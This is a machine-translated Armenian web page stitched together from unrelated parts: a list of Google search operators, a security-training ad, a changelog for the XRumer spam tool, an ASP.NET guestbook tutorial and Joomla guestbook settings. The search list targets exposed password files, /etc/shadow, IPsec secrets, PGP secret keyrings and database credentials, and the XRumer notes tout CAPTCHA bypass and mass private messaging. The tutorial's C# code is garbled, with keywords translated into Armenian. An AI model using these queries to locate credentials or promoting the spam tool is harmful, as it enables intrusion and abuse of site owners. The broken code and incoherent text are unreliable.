3. phpMyAdmin-ն աշխատում է inurl:main.php-ով - սա կստիպի փակել կառավարումը phpmyadmin վահանակի միջոցով:
4. Բաշխման համար գաղտնի չէ
5. Հարցման մանրամասների վերահսկման ծառի սերվերի փոփոխականները
6. Վազում մանկական ռեժիմով
7. Այս զեկույցը ստեղծվել է WebLog-ի կողմից
8. վերնագիր:index.of cgiirc.config
9. filetype:conf inurl:firewall -intitle:cvs - միգուցե ինչ-որ մեկին անհրաժեշտ են firewall-ի կազմաձևման ֆայլեր: :)
10. վերնագիր:ինդեքս.ֆինանսների.xls - հմմ....
11. վերնագիր: dbconvert.exe չաթերի ցուցիչ - icq չաթի տեղեկամատյաններ
12. intext:Tobias Oetiker տրաֆիկի վերլուծություն
13. վերնագիր:Օգտագործման վիճակագրություն՝ ստեղծված Webalizer-ի կողմից
14. վերնագիր:Վեբ վիճակագրության առաջադեմ վիճակագրություն
15. վերնագիր:index.of ws_ftp.ini - ws ftp config
16. inurl:ipsec.secrets-ը պահպանում է ընդհանուր գաղտնիքներ - գաղտնի բանալի - լավ գտնել
17. inurl:main.php Բարի գալուստ phpMyAdmin
18. inurl:server-info Apache Server Information
19. կայք:edu ադմինիստրատորի գնահատականներ
20. ORA-00921. SQL հրամանի անսպասելի ավարտ - ստացեք ուղիներ
21. վերնագիր:index.of trillian.ini
22. վերնագիր:Index of pwd.db
23. վերնագիր:index.of people.lst
24. վերնագիր:index.of master.passwd
25.inurl:passlist.txt
26. վերնագիր:Ինդեքս .mysql_history
27. intitle:index of intext:globals.inc
28. վերնագիր:index.of administrators.pwd
29. վերնագիր:Index.of etc shadow
30. վերնագիր:index.of secring.pgp
31. inurl:config.php dbuname dbpass
32. inurl:perform filetype:ini

  • «Հակում mit Google»
  • «Informzaschita» ուսումնական կենտրոն http://www.itsecurity.ru՝ կրթության ոլորտում առաջատար մասնագիտացված կենտրոն տեղեկատվական անվտանգություն(Մոսկվայի կրթության կոմիտեի լիցենզիա թիվ 015470, պետական ​​հավատարմագրման թիվ 004251): Ընկերությունների միակ լիազորված ուսումնական կենտրոնը ինտերնետ անվտանգությունՀամակարգեր և Clearswift Ռուսաստանում և ԱՊՀ երկրներում: Microsoft-ի լիազորված ուսումնական կենտրոն (Անվտանգության մասնագիտացում). Վերապատրաստման ծրագրերը համակարգվում են Ռուսաստանի Պետական ​​տեխնիկական հանձնաժողովի՝ FSB-ի (FAPSI) հետ: Ուսուցման վկայականներ և խորացված ուսուցման պետական ​​փաստաթղթեր.

    SoftKey-ը եզակի ծառայություն է գնորդների, մշակողների, դիլերների և փոխկապակցված գործընկերների համար: Ավելին, այն մեկն է լավագույն առցանց խանութներըԾրագրային ապահովում Ռուսաստանում, Ուկրաինայում, Ղազախստանում, որն առաջարկում է հաճախորդներին լայն տեսականի, վճարման բազմաթիվ եղանակներ, պատվերի արագ (հաճախ ակնթարթային) մշակում, անձնական բաժնում պատվերի առաջընթացի հետևում, խանութի և ծրագրային ապահովման արտադրողների տարբեր զեղչեր:

    XRumer ծրագրի լայնածավալ թարմացում, որում զգալիորեն զարգացել է տարբեր հարթակներում պրոֆիլների գրանցման տրամաբանությունը, բարելավվել է աշխատանքը Bitrix, Joomla, WordPress Forum, MyBB, VBulletin, XenForo հարթակների հետ, ուղարկվածը փոփոխելու մեխանիզմ: Ավելացվել է տեքստ՝ կախված ստացողի կայքի թեմայից (նոր մակրո # թեմա), թարմացվել և ավելացվել է կից տվյալների բազաները՝ ընդհանուր ծավալը գերազանցել է 8 միլիոն կայքերը, բարելավվել է աշխատանքը HTTPS-ի և Google ReCaptcha-2-ի հետ և շատ ավելին...

    26 հունվարի, 2019թ

    XRumer 16.0.18 + SocPlugin 4.0.63

    Ներառված տվյալների բազաները ստուգվել և թարմացվել են, ընդհանուր ծավալն ավելացել է մինչև 8 (!) միլիոն աջակցվող ռեսուրսներ՝ բլոգեր, ֆորումներ, հյուրերի գրքեր, տախտակներ, BBS, CMS և այլ հարթակներ: Հայտնի textcaptcha-ների տվյալների բազան ավելացել է հակաբոտային հարցերի ավելի քան 2000 նոր պատասխաններով և այժմ կազմում է 324000 textcaptcha: Զգալիորեն ավելացել է աշխատանքի կայունությունը և արագությունը, ռեսուրսների օպտիմիզացված սպառումը. առաստաղը հասնում է մինչև 500 կամ ավելի թելերի (կախված աշխատանքի ռեժիմից): Բարելավված աշխատանքը HTTPS-ի հետ: Եվ գլխավոր, առանցքային բարելավումը. մասնավոր հաղորդագրություններ ուղարկելու արդյունավետությունը մեծապես բարձրացել է՝ MassPM ռեժիմը։ Բացի այդ, շատ այլ բարելավումներ և ուղղումներ :)

    14 սեպտեմբերի, 2018թ

    XRumer 16.0.17

    XRumer-ի կարևոր թարմացում, որը զգալիորեն օպտիմալացնում է ռեսուրսների սպառումը: Բարելավված կայունություն և արագություն, ավելացված հոսքի առաստաղ: Այժմ բազմամիլիոնանոց տվյալների շտեմարաններով անցումն ավելի հարմարավետ է: Նաև բարելավվել է աշխատանքը HTTPS-ի, JavaScript-ի հետ, բարելավված աշխատանքը Joomla K2 հարթակի հետ և շատ ավելին...

    05 հուլիսի 2018թ

    JavaScript-ը պետք է միացված լինի, որպեսզի կայքը ճիշտ աշխատի:

    Նորարարություններ և բարելավումներ XRumer-ում և SocPlugin-ում 12 սեպտեմբերի, 2014թ

    Նորարարություններ և բարելավումներ XRumer 12.0.7-ում

    Նորարարություններ և բարելավումներ SocPlugin 4.0.10-ում

    • Autoresponder-ն այժմ աջակցում է Odnoklassniki-ին
    • թարմացրել է VKontakte-ում տեսանյութերը մեկնաբանելու գործառույթը
    • ճշգրտվել է հարցաթերթիկների բազայի պահպանման կարգը
    • թարմացված User-agent
    • ավելացրել է պրոֆիլների բոլոր ընտրված հղումները պատճենելու հնարավորությունը պատուհանում՝ պրոֆիլների ցանկը ցուցադրելու համար (և ոչ միայն մեկը)
    • իրականացված յուրաքանչյուր ուշացման պատահականացում ± 20%-ի սահմաններում
    • խմբային ցուցակի պատուհանում ավելացվել է բացվող ընտրացանկ՝ ցանկը կառավարելու համար՝ ջնջել, պատճենել, բացել զննարկիչում
    • թույլտվության հետ կապված խնդիրների վերաբերյալ հաղորդագրությունների բարելավված տեղեկատվականությունը
    • շտկված բեռնում/պահպանում է օգտվողների ցանկը XML ֆայլից/դեպի
    • ուղղել է հաշիվների ավտոմատ լրացման որոշ տարբերակների աշխատանքը
    • թարմացվել է ստանալով պրոֆիլի պարամետրերը Facebook-ում

    Վերջերս ես աշխատում էի իմ վեբկայքի վրա և որոշեցի, որ ցանկանում եմ ստեղծել հյուրերի գիրք: Ես սկսեցի որոնել համացանցում, որպեսզի գտնեմ իմ կայքի լավագույն հյուրերի գիրքը, բայց երբ ոչ մեկը չհայտնվեց, մտածեցի «Հեյ, ես ծրագրավորող եմ, ինչո՞ւ չստեղծեմ իմը»:

    Հյուրատետր ստեղծելը շատ հեշտ էր. դուք նույնպես կարող եք դա անել: Այս ձեռնարկում ես ձեզ ցույց կտամ, թե ինչպես: Ես ենթադրում եմ, որ դուք արդեն գիտեք ASP.NET ծրագրավորման հիմունքների մասին, որ դուք գիտեք այն տեխնիկան, որը ներգրավված է կոդի հետևում, և որ ունեք որոշակի XML/XSL հմտություններ:

    Ընդհանուր ակնարկ

    Ի՞նչ է մեզ անհրաժեշտ հյուրերի գիրք ստեղծելու համար: Մեզ երկուսն է պետք վեբ ձև s. մեկը, որտեղ օգտատերը կարող է մուտքագրել իր անունը, էլփոստի հասցեն և մեկնաբանությունը, և մյուսը, որն օգտագործվում է այս մեկնաբանությունները ցուցադրելու համար, երբ նրանք մուտք են գործում հյուրերի գրքում: Իհարկե, մենք կարող ենք այս ֆունկցիոնալությունը կառուցել մեկ վեբ ձևի մեջ, բայց մաքուր կոդ ունենալու համար ես կօգտագործեմ երկու վեբ ձևեր՝ մի քանի կոդի հետևում գտնվող ֆայլերով (մի պահ ավելի մանրամասն կքննարկեմ դրանք):

    Մեզ նաև անհրաժեշտ կլինի տվյալների բազա՝ ձևաթղթի միջոցով մուտքագրված տեղեկատվությունը պահելու համար: Օգտատիրոջ մուտքագրած տեղեկատվությունը պահելու համար ես օգտագործել եմ պարզ XML ֆայլ (շտեմարան): XML-ի վիզուալիզացիայի համար մենք կօգտագործենք XSL:

    Այսպիսով, ամփոփելով, մեզ անհրաժեշտ է հետևյալը.

    • երկու վեբ ձևեր
    • ծածկագրի հետևում
    • տվյալների բազա

    Հյուրատետրում սովորաբար բավական է պահպանել օգտատիրոջ անունը, գտնվելու վայրը, էլ.փոստի հասցեն, կայքի հասցեն և մեկնաբանությունը: Իհարկե, դուք կարող եք ավելի շատ դաշտեր պահել, բայց մեր նպատակների համար դրանք բավարար են: Մենք կպահենք այս տվյալները XML ֆայլում, որը կունենա հետևյալ տեսքը.




    Սոնու Կապուր
    Գերմանիա
    [էլփոստը պաշտպանված է]
    www.codefinger.de
    Այս հյուրերի գիրքը գրված է Սոնու Կապուրի կողմից:
    Հուսով եմ, որ Ձեզ դուր է գալիս այն. Սովորելու համար, թե ինչպես ստեղծել նման հյուրերի գիրք,
    կարդացեք ամբողջ պատմությունը իմ կայքում:


    Հյուրատետրում ստորագրում

    Մենք թույլ կտանք օգտագործողին «ստորագրել» մեր հյուրերի գիրքը՝ մուտքագրելով որոշ տեղեկություններ պարզ վեբ ձևի մեջ. մեր օրինակում սա guestbook.aspx ֆայլն է: Վեբ ձևում ես օգտագործում եմ հետևյալ դաշտերը.

    • գտնվելու վայրը
    • Էլ
    • Կայք
    • Մեկնաբանություն

    Ահա կոդը.

    <% @Page Language="C#" Debug="true" Src="Guestbook.cs"
    Ժառանգել =«Հյուրատետր» %>


    ...
    ...

    ControlToValidate = "անուն"
    ErrorMessage="Դուք պետք է արժեք մուտքագրեք textbox1"
    Display="dynamic">Մուտքագրեք անունը

    ControlToValidate="location" ErrorMessage="Դուք պետք է մուտքագրեք
    արժեք textbox1-ում
    Մուտքագրեք գտնվելու վայրը



    columns="50" rows="10" wrap="true" runat="server"/>

    ControlToValidate="մեկնաբանություն" ErrorMessage="Դուք պետք է մուտքագրեք
    արժեք textbox1-ում
    Մուտքագրեք մեկնաբանություն

    OnClick="Save_Comment"/>

    ...
    ... ինչ-որ վիզուալիզացիայի աշխատանքներ կատարելը
    ...

    Ձեզ անհարկի կոդի հետ շփոթելուց խուսափելու համար ես հանել եմ վիզուալիզացիայի պիտակները՝ ներառյալ աղյուսակը, աղյուսակի վերնագիրը և այլն: - այս օրինակից (չնայած, իհարկե, դրանք բոլորը ներառված են ներբեռնվող կոդում, որը տրված է այս ձեռնարկի վերջում): Քանի որ մենք ցուցադրում ենք միայն պարզ ձև մի քանի դաշտերով և կոճակներով, այս ֆայլում չեք կարող տեսնել իրական ծրագրավորման կոդ: Դա պայմանավորված է նրանով, որ բոլոր գործառույթները թաքնված են կոդի հետևում:

    Վերևի կոդի առաջին տողում ես սահմանել եմ SRC հատկանիշը, որպեսզի ASP.NET ֆայլը իմանա, որ մենք օգտագործում ենք Guestbook.cs կոդի հետևի ֆայլը։ Այս հատկանիշը թույլ է տալիս ֆայլին իմանալ, թե որ դասը պետք է ժառանգի:

    Հաջորդը, ես իրականացրել եմ անհրաժեշտ տեքստային դաշտերը: Հիշեք, որ եթե ցանկանում եք օգտագործել նույն փոփոխականները կոդի հետևում, ապա դրանք պետք է ունենան նույն ID-ն երկու ֆայլերում, և դրանք պետք է հայտարարվեն որպես հանրային:

    Կոդի հաջորդ բաժնում ես օգտագործել եմ ASP.NET վավերացնող հսկիչները: Այս հսկիչները ստուգում են, թե արդյոք օգտվողը մուտքագրել է արժեք տեքստային դաշտում՝ առանց սերվերի մոտ շրջագայություն կատարելու: Կոդը կատարվում է հաճախորդի կողմից:

    Ի վերջո, ես ներդրեցի ուղարկել կոճակը OnClick իրադարձությունով, որը կոչվում է Save_Comment: Այս իրադարձությունն օգտագործվում է օգտագործողի կողմից XML ֆայլում մուտքագրված տեղեկատվությունը պահելու համար: Այս միջոցառման գործառույթը հասանելի է Guestbook.cs-ում: Ես նաև ներդրեցի վերակայման կոճակը, և վերջ: Այլևս ոչինչ պետք չէ անել Վեբ ձևաթղթում: Այժմ, եթե գործարկեք guestbook.aspx, դուք պետք է տեսնեք վեբ ձև, որն ունի հետևյալ տեսքը.

    Այժմ մենք գիտենք, թե ինչպես ցուցադրել վեբ ձևը, բայց մենք չենք տեսել այն կոդը, որը կարգավորում է իրադարձությունը guestbooks.cs-ում: Եկեք հիմա նայենք դրան:

    Համակարգի օգտագործում;
    օգտագործելով System.Web;
    օգտագործելով System.Web.UI;
    օգտագործելով System.Xml;

    Հանրային դասարան Հյուրատետր՝ Էջ
    {
    // Ստեղծեք անհրաժեշտ վեբ վերահսկիչները նույն անունով
    guestbook.aspx ֆայլում
    հանրային TextBox անվանումը;
    հանրային TextBox-ի գտնվելու վայրը;
    հանրային TextBox էլ.
    հանրային TextBox կայք;
    հանրային TextBox մեկնաբանություն;

    Public void Save_Comment (օբյեկտ ուղարկող, EventArgs e)
    {
    // Ամեն ինչ կարգին է, այնպես որ եկեք պահպանենք տվյալները
    XML ֆայլի մեջ
    SaveXMLData ();

    // Հեռացրեք տեքստային տուփերի արժեքները
    name.Text="";
    գտնվելու վայրը.Text="";
    կայք.Text="";
    email.Text="";
    մեկնաբանություն.Text="";
    }
    }

    Անձնական դատարկ SaveXMLData()
    {
    // Բեռնել xml ֆայլը
    XmlDocument xmldoc = նոր XmlDocument();
    xmldoc.Load(Server.MapPath("guestbook.xml"));

    //Ստեղծեք հյուրի նոր տարր և ավելացրեք այն արմատային հանգույցին
    XmlElement parentNode = xmldoc.CreateElement(«հյուր»);
    xmldoc.DocumentElement.PrependChild(parentNode);

    // Ստեղծեք անհրաժեշտ հանգույցները
    XmlElement nameNode = xmldoc.CreateElement("name");
    XmlElement locationNode = xmldoc.CreateElement("location");
    XmlElement emailNode = xmldoc.CreateElement(«էլ.փոստ»);
    XmlElement websiteNode = xmldoc.CreateElement(«կայք»);
    XmlElement commentNode = xmldoc.CreateElement("մեկնաբանություն");

    // առբերել տեքստը
    XmlText nameText = xmldoc.CreateTextNode(name.Text);
    XmlText locationText = xmldoc.CreateTextNode(location.Text);
    XmlText emailText = xmldoc.CreateTextNode(email.Text);
    XmlText websiteText = xmldoc.CreateTextNode(website.Text);
    XmlText commentText = xmldoc.CreateTextNode(comment.Text);

    // հանգույցները միացնել ծնողական հանգույցին առանց արժեքի
    parentNode.AppendChild (nameNode);
    parentNode.AppendChild (locationNode);
    parentNode.AppendChild (emailNode);
    parentNode.AppendChild (websiteNode);
    parentNode.AppendChild(commentNode);

    // պահպանել դաշտերի արժեքը հանգույցներում
    nameNode.AppendChild(nameText);
    locationNode.AppendChild(locationText);
    emailNode.AppendChild(emailText);
    websiteNode.AppendChild(websiteText);
    commentNode.AppendChild(commentText);

    // Պահպանել XML ֆայլում
    xmldoc.Save(Server.MapPath("guestbook.xml"));

    // Ցուցադրել օգտվողին ստորագրված հյուրերի գիրքը
    Response.Redirect ("viewguestbook.aspx");
    }
    }

    Վա՜յ։ Դա մեր կոդային ֆայլն է… բայց իրականում ի՞նչ է տեղի ունենում այստեղ: Չեք հավատա, բայց պատասխանն է՝ «ոչ շատ»!

    Նախ, մենք իրականացնում ենք նվազագույն պահանջվող անունների տարածքները, որոնք մեզ անհրաժեշտ են մի քանի կարևոր գործառույթներ մուտք գործելու համար: Այնուհետև ես ստեղծում եմ նոր դաս, որը կոչվում է Հյուրատետր.

    հանրային դասարան Հյուրատետր՝ Էջ

    Նկատի ունեցեք, որ հենց այս դասն է ժառանգել guestbook.aspx ֆայլը: Այնուհետև մենք հայտարարում ենք textbox տիպի 5 հանրային փոփոխական: Հիշեք, որ այստեղ անունները պետք է լինեն նույնական այն անունների հետ, որոնք մենք օգտագործել ենք guestbook.aspx-ում տեքստային տուփերը ստեղծելիս: Այնուհետև, ինչպես տեսնում եք, մենք օգտագործում ենք Save_Comment իրադարձությունը, որը գործարկվում է այն ուղարկել կոճակով, որը մենք ներառել ենք guestbookpx ֆայլում: Այս իրադարձությունն օգտագործվում է տվյալների պահպանման համար:

    Պահպանման գործընթացը

    SaveXMLData() ֆունկցիան պահպանում է տեղեկատվությունը մեզ համար: Քանի որ մենք օգտագործում ենք XML տվյալների բազա՝ տեղեկատվությունը պահելու համար, մենք օգտագործում ենք XmlDocument, XmlElement և XmlText դասերը, որոնք ապահովում են մեզ անհրաժեշտ բոլոր գործառույթները:

    Հաջորդը, մենք ստեղծում ենք նոր XMLDocument դասի օբյեկտ և բեռնում guestbook.xml ֆայլը: Պահանջվող հանգույցները ստեղծվում են CreateElement ֆունկցիայի միջոցով, և օգտագործողի կողմից մուտքագրված տեղեկատվությունը առբերվում և պահվում է XmlText-ի օբյեկտում: Այնուհետև մենք պահում ենք ստեղծված հանգույցները առանց որևէ արժեքի՝ օգտագործելով AppendChild ֆունկցիան հիմնական XmlDocument օբյեկտի հետ համատեղ։

    Եվ վերջապես, արժեքները պահվում են հենց նոր ստեղծած հանգույցներում, մենք բոլոր փոփոխությունները պահում ենք guestbook.xml ֆայլում և էջը վերահղում ենք դեպի viewguestbook.aspx, որտեղ ցուցադրվում է պահված մեկնաբանությունը։

    Դիտելով հյուրերի գիրքը

    Հյուրատետրը դիտելու համար մենք պետք է ստեղծենք մեկ այլ վեբ ձև.

    <% @Page Language="C#" Debug="true" Src="ViewGuestbook.cs"
    Ժառանգել = "View Guestbook" %>

    Ինչպես տեսնում եք, այս վեբ ձևը իրականում այդքան էլ շատ բան չի անում: Այն պարզապես անվանում է «codebehind» ֆայլը՝ ViewGuestbook.cs: Եկեք նայենք այս ֆայլին:

    Համակարգի օգտագործում;
    օգտագործելով System.Web;
    օգտագործելով System.Web.UI;
    օգտագործելով System.Web.UI.WebControls;
    օգտագործելով System.Xml;
    օգտագործելով System.Xml.Xsl;
    օգտագործելով System.IO;

    Հանրային դասարան Դիտել Հյուրատետր. Էջ
    {
    private void Page_Load (օբյեկտ ուղարկող, System.EventArgs e)
    {
    //Բեռնել XML ֆայլը
    XmlDocument doc = new XmlDocument();
    doc.Load(Server.MapPath("guestbook.xml"));

    //Բեռնել XSL ֆայլը
    XslTransform xslt = նոր XslTransform();
    xslt.Load (Server.MapPath ("guestbook.xsl"));

    String xmlQuery="//հյուրերի գիրք";
    XmlNodeList nodeList=doc.Document
    Element.SelectNodes (xmlQuery);

    MemoryStream ms=new MemoryStream();
    xslt.Transform(doc, null, ms);
    ms.Seek(0, SeekOrigin.Begin);

    StreamReader sr = նոր StreamReader(ms);

    //Տպել արդյունքը
    Response.Write(sr.ReadToEnd());
    }
    }

    Ես ստեղծել եմ այս դասը՝ հյուրերի գրքի միջոցով ներկայացված բոլոր մեկնաբանությունները մեր օգտատերերին ցուցադրելու համար: Կրկին, առաջին բանը, որ մենք անում ենք, դա անհրաժեշտ անվանատարածքների ներդրումն է, և քանի որ մենք օգտագործում ենք XSL վիզուալիզացիայի համար, մենք պետք է անպայման ներառենք System.Xml.Xsl անվանումների տարածքը:

    Այնուհետև մենք ստեղծում ենք նոր դաս, որը կոչվում է ViewGuestbook, մասնավոր ներկառուցված ֆունկցիայով, որը կոչվում է Page_Load: Այս ֆունկցիան միշտ կանչվում է, երբ էջը բեռնվում է, կամ երբ օգտատերը կատարում է թարմացում: Այստեղ ֆունկցիան բեռնում է guestbook.xml ֆայլը, այնուհետև XslTranform դասը օգտագործվում է XML տարրերը HTML-ի փոխակերպելու համար, նախքան մենք բեռնում ենք guestbook.xsl-ը XslTransform օբյեկտի օգնությամբ:

    Հաջորդը, մենք ստեղծում ենք XmlNodeList դասի նոր օբյեկտ, որը թույլ կտա մեզ ընտրել անհրաժեշտ հանգույցները: Այնուհետև մենք օգտագործում ենք MemoryStream դասը, որը հասանելի է System.IO անվանատարածքի միջոցով, ստեղծելու հոսք, որն ունի հիշողություն որպես օժանդակ պահեստ, և օգտագործում ենք Transform ֆունկցիան՝ xml տվյալները վերագրելու այս հիշողության հոսքին: Որոնել գործառույթը սահմանում է ընթացիկ դիրքը զրոյի:

    Այնուհետև ստեղծում ենք StreamReader դասի օբյեկտ, որը կարդում է հոսքը, և արդյունքը տպում ReadToEnd() ֆունկցիայի օգնությամբ։ Այս ֆունկցիան կարդում է հոսքը ընթացիկ դիրքից մինչև վերջ: Եթե ​​դուք գործարկում եք viewguestbook.aspx, դուք պետք է տեսնեք այսպիսի վեբ ձև.

    XSL-ը

    Ինչպես արդեն նշեցի, մենք օգտագործում ենք XSL տվյալները XML-ից HTML-ի փոխակերպելու համար: Ես ենթադրում էի, որ դուք արդեն փորձառու եք XSLT-ի հետ, ուստի այստեղ կանդրադառնամ միայն կարևոր կողմերին: Ես օգտագործել եմ XSL-ը յուրաքանչյուր օղակի համար գրքի բոլոր հյուրերի միջով կրկնելու համար, որն ունի հետևյալ տեսքը.



    Եվ հանգույցում մենք կոչում ենք XSL ձևանմուշի անուն, որն ունի հետևյալ տեսքը.



    Եզրակացություն

    Ինչպես տեսնում եք, հյուրերի գիրք ստեղծելն այնքան էլ դժվար չէ: հաջողություն! Եվ մի մոռացեք.

    բարև ընթերցողներ կայք)

    Այս հոդվածում մենք կանդրադառնանք Phoca Guestbook-ին` հյուրի գրքի բաղադրիչ Joomla կայքեր.

    Ի՞նչ կարող եմ ասել այս բաղադրիչի մասին... Շատ պարզ և հեշտ է կառավարվում, այն ունի բավարար թվով կարգավորումներ ձեր կայքում ակնարկներ տեղադրելու համար:

    Phoca հյուրերի գրքի առանձնահատկությունները.

    • օգտվողների համար մուտքի իրավունքի ընտրություն;
    • անցանկալի բառերի և արտահայտությունների զտում;
    • IP հասցեների արգելափակում;
    • տպված նիշերի քանակի սահմանափակում;
    • captcha;
    • հաղորդագրությունների արդիականացում (ստուգում մոդերատորի կողմից);
    • ակնարկների տեսքը (գույնը, ցուցադրվող անունը, ցուցադրվող էլ. փոստը և կայքի հասցեն):

    Այսպիսով, եկեք նայենք բաղադրիչին:

    Տեղադրվելուց հետո, Ֆոկա Հյուրատետրգլոբալ կարգավորումների կարիք չունի:

    Կառավարման վահանակ.

    • Գրառումներ - օգտատերերի թողած բոլոր հաղորդագրությունները;
    • Հյուրատետրեր - կատեգորիաներ (ստեղծված հյուրերի գրքեր);
    • Ինֆո - բաղադրիչի տեղեկատվություն և թարմացում:

    Ինչպես տեսնում եք, աջ կողմում գտնվող նկարում կա «Կարգավորումներ» կոճակը: Եթե ​​սեղմեք դրա վրա, կարող եք ավելի լայնորեն կարգավորել հյուրերի գիրքը և բուն բաղադրիչը:

    Պարամետր

    Իմաստը

    Ցուցադրել առարկան ձևով

    (Այո | Այո (պարտադիր) | Ոչ) ցուցադրել կամ թաքցնել «Օբյեկտ» դաշտը ձևով, սահմանել, թե արդյոք «Թեմա» դաշտը կպահանջվի:

    Ցուցադրվող անունը ձևով

    (Այո | Այո (պարտադիր) | Ոչ) ցույց տալ կամ թաքցնել դաշտի անունը ձևի մեջ, սահմանել, թե արդյոք անհրաժեշտ կլինի Անուն դաշտը

    Ցուցադրել էլփոստի ձևը

    (Այո | Այո (պարտադիր) | Ոչ) ցույց տալ կամ թաքցնել էլփոստի դաշտը ձևի մեջ, անհրաժեշտության դեպքում սահմանել էլփոստի դաշտը

    Ցուցադրել վեբ կայքը ձևով

    (Այո | Այո (պարտադիր) | Ոչ) ցույց տալ կամ թաքցնել Կայքի դաշտը ձևով, սահմանել դաշտը, եթե կայքը պահանջվի

    Ցուցադրել բովանդակությունը ձևով

    (Այո | Այո (պարտադիր) | Ոչ) ցույց տալ կամ թաքցնել դաշտի բովանդակությունը ձևի մեջ

    Միացնել Javascript-ի խմբագրիչը

    (Այո | Ոչ) Միացնել կամ անջատել JavaScript խմբագրիչը

    Ցուցադրել ուղին Javascript խմբագրիչում

    (Այո | Ոչ) ցույց տալ կամ թաքցնել ուղու տեղեկատվությունը JavaScript-ի խմբագրում

    (Թաքցնել | Ցուցադրել) Սահմանել՝ ձևը պետք է ցուցադրվի, թե ոչ:

    (Վերև | Ներքև) Ընտրեք Ընթացիկ վայրը

    Ցուցադրել պահանջվող նշանը

    (Այո | Ոչ) Սահմանել, որպեսզի ցուցադրվեն պահանջվող դաշտերը

    (Այո | Ոչ) Նախադրել ցուցադրել հաղորդագրությունները:

    լայնությունը (պիքսելներով)

    բարձրություն (պիքսելներով)

    Սահմանեք աղյուսակի լայնությունը (աղյուսակը, որում ցուցադրվում է ձևը, պիքսելներով)

    Պարամետր

    Իմաստը

    Եթե ​​չգրանցված օգտատերը թողնում է հաղորդագրություն, ապա կարող եք նրան տալ լռելյայն անուն: Օրինակ՝ Հյուր

    Օգտվողի անուն կամ անուն

    (Օգտագործողի անուն | Անուն) ընտրեք այն անունը, որը պետք է ցուցադրվի Հյուրատետրում (օգտանուն կամ իրական օգտվողի անուն)

    Անջատել օգտվողի ստուգումը

    (Ոչ | Այո) Օգտատիրոջ ստուգում (այս կարգավորումն անջատելը խորհուրդ չի տրվում)

    Միայն գրանցված օգտվողներ

    (Այո | Ոչ) Եթե այո, ապա միայն գրանցված օգտվողները կարող են ավելացնել նոր հաղորդագրություններ

    (Այո | Ոչ) Եթե այո, հաղորդագրությունը կցուցադրվի ադմինիստրատորի հաստատումից հետո

    նամակ ուղարկելու համար

    Պարամետր

    Իմաստը

    Ցուցադրվող անունը գրառման մեջ

    (Այո | Ոչ) ցույց տալ կամ թաքցնել անունը (օգտանունը) (հյուրերի գիրք)

    Ցուցադրել էլփոստի փոստը

    (Այո | Ոչ) ցույց տալ կամ թաքցնել էլփոստը (հյուրերի գիրքը)

    Ցուցադրել կայքը փոստում

    (Այո | Ոչ) ցուցադրել կամ թաքցնել կայքը (հյուրերի գրքում)

    Սահմանել ամսաթվի ձևաչափը

    Սահմանել տառատեսակի գույնը

    Երկրորդ տառատեսակի գույնը

    Սահմանեք երկրորդ տառատեսակի գույնը (ամսաթվի տառատեսակի գույնը)

    Ֆոնի գույնը

    Սահմանեք ֆոնի գույնը

    Սահմանի գույնի սահմանում

    Էջավորման կանխադրված արժեքը

    Սահմանեք լռելյայն արժեքը էջադրման համար

    Սահմանել էջադրումը: Իրարից բաժանված ստորակետով (,)

    Էջավորում Թաքցնել բոլորը

    (Այո | Ոչ) բոլոր արժեքները կթաքցվեն (էջադրում)

    Պարամետր

    Իմաստը

    Արգելված բառի զտիչ

    Սահմանեք արգելված բառեր, որոնք չեն ցուցադրվի միջերեսում: Բառերը միմյանցից բաժանվում են ստորակետով (,)

    Արգելված ամբողջ բառի զտիչ

    Սահմանեք բոլոր արգելված բառերը, որոնք չեն ցուցադրվի միջերեսում: Բառերը միմյանցից բաժանվում են ստորակետով (,)

    Պահպանեք գրառումը արգելված բառերով

    (Այո | Ոչ) Եթե այո, ապա այն գրառումները, որոնք ներառում են արգելված բառեր, կպահվեն հյուրերի գրքում (արգելված բառերը կթաքցվեն, եթե պահվեն)

    Ավելացրեք IP-ները, որոնք ցանկանում եք արգելափակել: Յուրաքանչյուր IP-ն առանձնացրեք ստորակետով (,)

    Առավելագույն Նիշեր

    Սահմանեք նիշերի առավելագույն քանակը, որոնք դրանք կարող են պահվել տվյալների բազայում

    Սահմանեք URL-ների առավելագույն քանակը, որոնք կարող են ցուցադրվել գրառման մեջ (0: ոչ, հղումները կցուցադրվեն գրառումներում, -1. բոլոր URL-ները կցուցադրվեն գրառումներում, օրինակ. 3. բոլոր URL-ներից միայն երեք հղումները կցուցադրվեն հաղորդագրություններում: գրառումներ)

    Չթույլատրված URL նույնականացման բառեր

    Բառերի մի շարք, որը կորոշի, թե արդյոք URL-ները թույլատրված են հաղորդագրության մեջ: Յուրաքանչյուր բառ առանձնացրեք ստորակետով (,): Օրինակ:: / /,. .htm. ասպ. JSP. PHP, www.,. com. օրգ.

    Միացնել կամ անջատել Captcha-ի պաշտպանությունը

    Փոխեք այս կարգավորումը միայն այն դեպքում, եթե դուք չեք տեսնի captcha-ն:

    Միացնել Captcha-Users-ը

    (Բոլորը | Չգրանցված) Captcha ցուցադրման տարբերակ օգտատերերի խմբերի համար (արդյոք ցուցադրել captcha գրանցված օգտվողներին)

    Ստանդարտ Captcha նիշեր

    Թվեր, փոքրատառեր, մեծատառ նիշեր, որոնք կցուցադրվեն ստանդարտ Captcha պատկերում

    Մաթեմատիկա Captcha կերպարներ

    Թվերը, փոքրատառերը, մեծատառերը, որոնք կցուցադրվեն Math Captcha պատկերում

    TTF նշաններ

    Թվերը, փոքրատառերը, մեծատառերը, որոնք կցուցադրվեն TTF Captcha պատկերում

    TTF Captcha կերպարներ

    Re-captcha ցուցադրելու համար մուտքագրեք հանրային կոդը

    reCAPTCHA հանրային բանալի

    Տեղադրեք Recaptcha հանրային բանալին

    Միացնել Akismet Spam-ի պաշտպանությունը

    (Ոչ | Այո) Ուղարկում է նոր գրքույկի բոլոր տվյալները Akismet-ին` սպամը ստուգելու վեբ ծառայություն:

    Արգելափակել սպամը (Akismet)

    (Ոչ | Այո) Արգելափակել հաղորդագրությունները, որոնք չեն ստուգվել Akismet-ի կողմից

    Տեղադրեք Akismet API բանալի, որը կօգտագործվի Akismet-Spam-ի հետ: Ստացեք ձերը https://akismet.com/signup/ կայքում անվճար

    Ձեր կայքի հիմնական URL-ը (URL-ը պետք է ներառի http:// նախածանցը)

    Միացնել HTML մաքրիչը

    (Ոչ | Այո) Միացնել կամ անջատել HTML մաքրիչը

    Սահմանել նստաշրջանի վերջածանցը (Սա անվտանգության հատկանիշ է, նիստի անունը փոխելու համար սահմանեք եզակի վերջածանց, օրինակ՝ a100b20c3)

    Միացնել թաքնված դաշտը

